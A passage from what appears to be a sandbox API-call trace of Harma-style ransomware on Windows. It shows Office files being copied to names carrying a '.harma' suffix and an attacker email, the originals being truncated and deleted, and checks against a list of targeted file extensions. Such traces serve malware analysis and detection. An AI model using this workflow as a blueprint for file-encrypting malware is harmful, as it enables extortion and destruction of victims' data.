(hObject=0x368) returned 1 [0160.768] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.768] SetEndOfFile (hFile=0x378) returned 1 [0160.770] CloseHandle (hObject=0x378) returned 1 [0160.770] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0160.770] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_col.hxc")) returned 1 [0160.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC") returned 63 [0160.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC") returned 63 [0160.771] lstrlenW (lpString=".doc") returned 4 [0160.771] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0160.771] lstrlenW (lpString=".docx") returned 5 [0160.771] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0160.771] lstrlenW (lpString=".pdf") returned 4 [0160.771] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0160.771] lstrlenW (lpString=".xls") returned 4 [0160.771] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0160.771] lstrlenW (lpString=".xlsx") returned 5 [0160.771] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0160.771] lstrlenW (lpString=".ppt") returned 4 [0160.772] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0160.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC") returned 63 [0160.772] lstrlenW (lpString=".zip") returned 4 [0160.772] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0160.772] lstrlenW (lpString=".rar") returned 4 [0160.772] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0160.772] lstrlenW (lpString=".bz2") returned 4 [0160.772] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0160.772] lstrlenW (lpString=".7z") returned 3 [0160.772] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0160.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC") returned 63 [0160.772] lstrlenW (lpString=".dbf") returned 4 [0160.772] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0160.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC") returned 63 [0160.772] lstrlenW (lpString=".1cd") returned 4 [0160.772] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0160.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC") returned 63 [0160.772] lstrlenW (lpString=".jpg") returned 4 [0160.772] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0160.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC") returned 63 [0160.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC") returned 63 [0160.773] lstrlenW (lpString=".doc") returned 4 [0160.773] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0160.773] lstrlenW (lpString=".docx") returned 5 [0160.773] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0160.773] lstrlenW (lpString=".pdf") returned 4 [0160.773] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0160.773] lstrlenW (lpString=".xls") returned 4 [0160.773] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0160.773] lstrlenW (lpString=".xlsx") returned 5 [0160.773] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0160.773] lstrlenW (lpString=".ppt") returned 4 [0160.773] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0160.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC") returned 63 [0160.773] lstrlenW (lpString=".zip") returned 4 [0160.773] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0160.773] lstrlenW (lpString=".rar") returned 4 [0160.773] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0160.773] lstrlenW (lpString=".bz2") returned 4 [0160.773] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0160.773] lstrlenW (lpString=".7z") returned 3 [0160.773] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0160.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC") returned 63 [0160.773] lstrlenW (lpString=".dbf") returned 4 [0160.773] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0160.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC") returned 63 [0160.773] lstrlenW (lpString=".1cd") returned 4 [0160.773] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0160.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC") returned 63 [0160.774] lstrlenW (lpString=".jpg") returned 4 [0160.774] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0160.774] lstrcmpiW (lpString1=".VRD", lpString2=".harma") returned 1 [0160.774] lstrlenW (lpString="SPACE.VRD") returned 9 [0160.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\space.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0160.775] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=1604) returned 1 [0160.775] CloseHandle (hObject=0x378) returned 1 [0160.775] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\space.vrd")) returned 0x20 [0160.781] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\space.vrd.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0160.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\space.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0160.781] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.781] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\space.vrd.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0160.782] GetLastError () returned 0x0 [0160.782] ReadFile (in: hFile=0x340, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x644, lpOverlapped=0x0) returned 1 [0160.784] WriteFile (in: hFile=0x378, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0x650, lpOverlapped=0x0) returned 1 [0160.785] ReadFile (in: hFile=0x340, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0160.785] WriteFile (in: hFile=0x378, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0160.785] SetEndOfFile (hFile=0x378) returned 1 [0160.785] CloseHandle (hObject=0x378) returned 1 [0160.785] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.785] SetEndOfFile (hFile=0x340) returned 1 [0160.787] CloseHandle (hObject=0x340) returned 1 [0160.787] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0160.788] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\space.vrd")) returned 1 [0160.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD") returned 57 [0160.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD") returned 57 [0160.788] lstrlenW (lpString=".doc") returned 4 [0160.788] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0160.788] lstrlenW (lpString=".docx") returned 5 [0160.788] lstrcmpiW (lpString1=".docx", lpString2="E.VRD") returned -1 [0160.789] lstrlenW (lpString=".pdf") returned 4 [0160.789] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0160.789] lstrlenW (lpString=".xls") returned 4 [0160.789] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0160.789] lstrlenW (lpString=".xlsx") returned 5 [0160.789] lstrcmpiW (lpString1=".xlsx", lpString2="E.VRD") returned -1 [0160.789] lstrlenW (lpString=".ppt") returned 4 [0160.789] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0160.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD") returned 57 [0160.789] lstrlenW (lpString=".zip") returned 4 [0160.789] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0160.789] lstrlenW (lpString=".rar") returned 4 [0160.789] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0160.789] lstrlenW (lpString=".bz2") returned 4 [0160.789] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0160.789] lstrlenW (lpString=".7z") returned 3 [0160.789] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0160.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD") returned 57 [0160.789] lstrlenW (lpString=".dbf") returned 4 [0160.789] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0160.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD") returned 57 [0160.789] lstrlenW (lpString=".1cd") returned 4 [0160.789] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0160.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD") returned 57 [0160.789] lstrlenW (lpString=".jpg") returned 4 [0160.789] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0160.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD") returned 57 [0160.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD") returned 57 [0160.789] lstrlenW (lpString=".doc") returned 4 [0160.789] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0160.789] lstrlenW (lpString=".docx") returned 5 [0160.790] lstrcmpiW (lpString1=".docx", lpString2="E.VRD") returned -1 [0160.790] lstrlenW (lpString=".pdf") returned 4 [0160.790] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0160.790] lstrlenW (lpString=".xls") returned 4 [0160.790] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0160.790] lstrlenW (lpString=".xlsx") returned 5 [0160.790] lstrcmpiW (lpString1=".xlsx", lpString2="E.VRD") returned -1 [0160.790] lstrlenW (lpString=".ppt") returned 4 [0160.790] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0160.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD") returned 57 [0160.790] lstrlenW (lpString=".zip") returned 4 [0160.790] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0160.790] lstrlenW (lpString=".rar") returned 4 [0160.790] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0160.790] lstrlenW (lpString=".bz2") returned 4 [0160.790] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0160.790] lstrlenW (lpString=".7z") returned 3 [0160.790] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0160.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD") returned 57 [0160.790] lstrlenW (lpString=".dbf") returned 4 [0160.790] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0160.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD") returned 57 [0160.790] lstrlenW (lpString=".1cd") returned 4 [0160.790] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0160.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD") returned 57 [0160.790] lstrlenW (lpString=".jpg") returned 4 [0160.790] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0160.790] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0160.790] lstrlenW (lpString="STSLISTI.DLL") returned 12 [0160.791] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\stslisti.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0160.792] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=88464) returned 1 [0160.792] CloseHandle (hObject=0x340) returned 1 [0160.793] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\stslisti.dll")) returned 0x20 [0160.793] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\stslisti.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0160.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\stslisti.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0160.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL") returned 60 [0160.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL") returned 60 [0160.793] lstrlenW (lpString=".doc") returned 4 [0160.793] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0160.793] lstrlenW (lpString=".docx") returned 5 [0160.793] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0160.793] lstrlenW (lpString=".pdf") returned 4 [0160.793] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0160.793] lstrlenW (lpString=".xls") returned 4 [0160.793] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0160.793] lstrlenW (lpString=".xlsx") returned 5 [0160.793] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0160.793] lstrlenW (lpString=".ppt") returned 4 [0160.793] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0160.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL") returned 60 [0160.793] lstrlenW (lpString=".zip") returned 4 [0160.793] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0160.793] lstrlenW (lpString=".rar") returned 4 [0160.793] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0160.793] lstrlenW (lpString=".bz2") returned 4 [0160.794] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0160.794] lstrlenW (lpString=".7z") returned 3 [0160.794] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0160.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL") returned 60 [0160.794] lstrlenW (lpString=".dbf") returned 4 [0160.794] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0160.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL") returned 60 [0160.794] lstrlenW (lpString=".1cd") returned 4 [0160.794] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0160.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL") returned 60 [0160.794] lstrlenW (lpString=".jpg") returned 4 [0160.794] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0160.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL") returned 60 [0160.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL") returned 60 [0160.794] lstrlenW (lpString=".doc") returned 4 [0160.794] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0160.794] lstrlenW (lpString=".docx") returned 5 [0160.794] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0160.794] lstrlenW (lpString=".pdf") returned 4 [0160.794] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0160.794] lstrlenW (lpString=".xls") returned 4 [0160.794] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0160.794] lstrlenW (lpString=".xlsx") returned 5 [0160.794] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0160.794] lstrlenW (lpString=".ppt") returned 4 [0160.794] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0160.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL") returned 60 [0160.794] lstrlenW (lpString=".zip") returned 4 [0160.794] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0160.794] lstrlenW (lpString=".rar") returned 4 [0160.795] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0160.795] lstrlenW (lpString=".bz2") returned 4 [0160.795] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0160.795] lstrlenW (lpString=".7z") returned 3 [0160.795] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0160.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL") returned 60 [0160.795] lstrlenW (lpString=".dbf") returned 4 [0160.795] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0160.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL") returned 60 [0160.795] lstrlenW (lpString=".1cd") returned 4 [0160.795] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0160.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL") returned 60 [0160.795] lstrlenW (lpString=".jpg") returned 4 [0160.795] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0160.795] lstrcmpiW (lpString1=".VSL", lpString2=".harma") returned 1 [0160.795] lstrlenW (lpString="TIMESOLN.VSL") returned 12 [0160.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\timesoln.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0160.796] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=281448) returned 1 [0160.796] CloseHandle (hObject=0x340) returned 1 [0160.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\timesoln.vsl")) returned 0x20 [0160.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\timesoln.vsl.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0160.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\timesoln.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0160.797] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.797] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\timesoln.vsl.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0160.797] GetLastError () returned 0x0 [0160.798] ReadFile (in: hFile=0x340, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x44b68, lpOverlapped=0x0) returned 1 [0160.805] WriteFile (in: hFile=0x378, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x44b70, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0x44b70, lpOverlapped=0x0) returned 1 [0160.811] ReadFile (in: hFile=0x340, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0160.811] WriteFile (in: hFile=0x378, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xec, lpOverlapped=0x0) returned 1 [0160.811] SetEndOfFile (hFile=0x378) returned 1 [0160.811] CloseHandle (hObject=0x378) returned 1 [0160.811] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.811] SetEndOfFile (hFile=0x340) returned 1 [0162.183] CloseHandle (hObject=0x340) returned 1 [0162.184] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0162.269] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\timesoln.vsl")) returned 1 [0162.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL") returned 60 [0162.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL") returned 60 [0162.357] lstrlenW (lpString=".doc") returned 4 [0162.357] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0162.357] lstrlenW (lpString=".docx") returned 5 [0162.357] lstrcmpiW (lpString1=".docx", lpString2="N.VSL") returned -1 [0162.357] lstrlenW (lpString=".pdf") returned 4 [0162.357] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0162.357] lstrlenW (lpString=".xls") returned 4 [0162.357] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0162.357] lstrlenW (lpString=".xlsx") returned 5 [0162.357] lstrcmpiW (lpString1=".xlsx", lpString2="N.VSL") returned -1 [0162.358] lstrlenW (lpString=".ppt") returned 4 [0162.358] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0162.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL") returned 60 [0162.358] lstrlenW (lpString=".zip") returned 4 [0162.358] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0162.358] lstrlenW (lpString=".rar") returned 4 [0162.358] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0162.358] lstrlenW (lpString=".bz2") returned 4 [0162.358] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0162.358] lstrlenW (lpString=".7z") returned 3 [0162.358] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0162.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL") returned 60 [0162.358] lstrlenW (lpString=".dbf") returned 4 [0162.358] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0162.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL") returned 60 [0162.359] lstrlenW (lpString=".1cd") returned 4 [0162.359] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0162.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL") returned 60 [0162.359] lstrlenW (lpString=".jpg") returned 4 [0162.359] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0162.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL") returned 60 [0162.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL") returned 60 [0162.359] lstrlenW (lpString=".doc") returned 4 [0162.359] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0162.359] lstrlenW (lpString=".docx") returned 5 [0162.359] lstrcmpiW (lpString1=".docx", lpString2="N.VSL") returned -1 [0162.359] lstrlenW (lpString=".pdf") returned 4 [0162.359] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0162.359] lstrlenW (lpString=".xls") returned 4 [0162.359] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0162.359] lstrlenW (lpString=".xlsx") returned 5 [0162.359] lstrcmpiW (lpString1=".xlsx", lpString2="N.VSL") returned -1 [0162.359] lstrlenW (lpString=".ppt") returned 4 [0162.359] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0162.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL") returned 60 [0162.359] lstrlenW (lpString=".zip") returned 4 [0162.359] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0162.359] lstrlenW (lpString=".rar") returned 4 [0162.360] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0162.360] lstrlenW (lpString=".bz2") returned 4 [0162.360] lstrcmpiW 